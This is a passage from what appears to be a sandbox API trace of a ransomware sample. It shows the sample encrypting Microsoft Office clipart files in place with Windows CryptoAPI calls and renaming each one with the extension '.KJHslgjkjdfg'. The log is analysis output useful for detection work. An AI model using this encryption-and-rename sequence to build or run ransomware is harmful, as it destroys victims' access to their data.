dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01063_.WMF", cAlternateFileName="")) returned 1 [0239.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.154] GetProcessHeap () returned 0x2ef0000 [0239.154] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.154] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.155] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.157] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.157] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.157] GetProcessHeap () returned 0x2ef0000 [0239.157] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.157] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.157] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.157] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.157] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.157] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.158] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.158] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.158] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.158] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.158] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5b38, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5b38, lpOverlapped=0x0) returned 1 [0239.169] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5b40, dwBufLen=0x5b40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5b40) returned 1 [0239.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.169] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5b40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5b40, lpOverlapped=0x0) returned 1 [0239.170] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.170] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.170] SetEndOfFile (hFile=0x130) returned 1 [0239.172] GetProcessHeap () returned 0x2ef0000 [0239.172] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.172] GetProcessHeap () returned 0x2ef0000 [0239.172] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.172] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01063_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01063_.wmf.kjhslgjkjdfg")) returned 1 [0239.174] CloseHandle (hObject=0x130) returned 1 [0239.174] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1075e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01236_.WMF", cAlternateFileName="")) returned 1 [0239.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.176] GetProcessHeap () returned 0x2ef0000 [0239.176] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.176] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.177] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0239.185] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.185] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.185] GetProcessHeap () returned 0x2ef0000 [0239.185] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.185] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.185] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.185] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.185] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.185] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.186] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.186] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.186] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.186] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.186] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.186] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1075e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1075e, lpOverlapped=0x0) returned 1 [0239.192] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x10760, dwBufLen=0x10760 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x10760) returned 1 [0239.192] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.192] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10760, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x10760, lpOverlapped=0x0) returned 1 [0239.193] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.193] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.193] SetEndOfFile (hFile=0x130) returned 1 [0239.196] GetProcessHeap () returned 0x2ef0000 [0239.196] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.196] GetProcessHeap () returned 0x2ef0000 [0239.196] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.196] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf.kjhslgjkjdfg")) returned 1 [0239.198] CloseHandle (hObject=0x130) returned 1 [0239.198] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e49c00, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8e49c00, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x43b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01560_.WMF", cAlternateFileName="")) returned 1 [0239.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.199] GetProcessHeap () returned 0x2ef0000 [0239.199] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.199] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.200] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.200] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.200] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.200] GetProcessHeap () returned 0x2ef0000 [0239.200] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.200] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.200] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.200] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.220] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.220] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.220] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.221] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.221] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.221] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.221] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.221] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.221] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x43b0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x43b0, lpOverlapped=0x0) returned 1 [0239.222] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x43b0, dwBufLen=0x43b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x43b0) returned 1 [0239.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.222] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x43b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x43b0, lpOverlapped=0x0) returned 1 [0239.222] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.222] SetEndOfFile (hFile=0x130) returned 1 [0239.225] GetProcessHeap () returned 0x2ef0000 [0239.225] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.225] GetProcessHeap () returned 0x2ef0000 [0239.225] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.225] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf.kjhslgjkjdfg")) returned 1 [0239.227] CloseHandle (hObject=0x130) returned 1 [0239.227] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b10300, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2b10300, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x59d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01561_.WMF", cAlternateFileName="")) returned 1 [0239.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.228] GetProcessHeap () returned 0x2ef0000 [0239.228] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.228] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.229] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.229] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.273] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.273] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.273] GetProcessHeap () returned 0x2ef0000 [0239.273] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0239.273] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0239.273] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.273] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0239.273] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0239.273] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0239.273] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0239.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0239.273] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0239.273] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0239.274] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0239.274] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.274] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x59d8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x59d8, lpOverlapped=0x0) returned 1 [0239.280] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x59e0, dwBufLen=0x59e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x59e0) returned 1 [0239.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.280] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x59e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x59e0, lpOverlapped=0x0) returned 1 [0239.280] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0239.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.280] SetEndOfFile (hFile=0x130) returned 1 [0239.284] GetProcessHeap () returned 0x2ef0000 [0239.284] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0239.284] GetProcessHeap () returned 0x2ef0000 [0239.284] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0239.284] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf.kjhslgjkjdfg")) returned 1 [0239.286] CloseHandle (hObject=0x130) returned 1 [0239.286] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc04ea900, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc04ea900, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x75ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01563_.WMF", cAlternateFileName="")) returned 1 [0239.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0239.289] GetProcessHeap () returned 0x2ef0000 [0239.289] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0239.289] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0239.289] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0239.289] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0239.304] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, 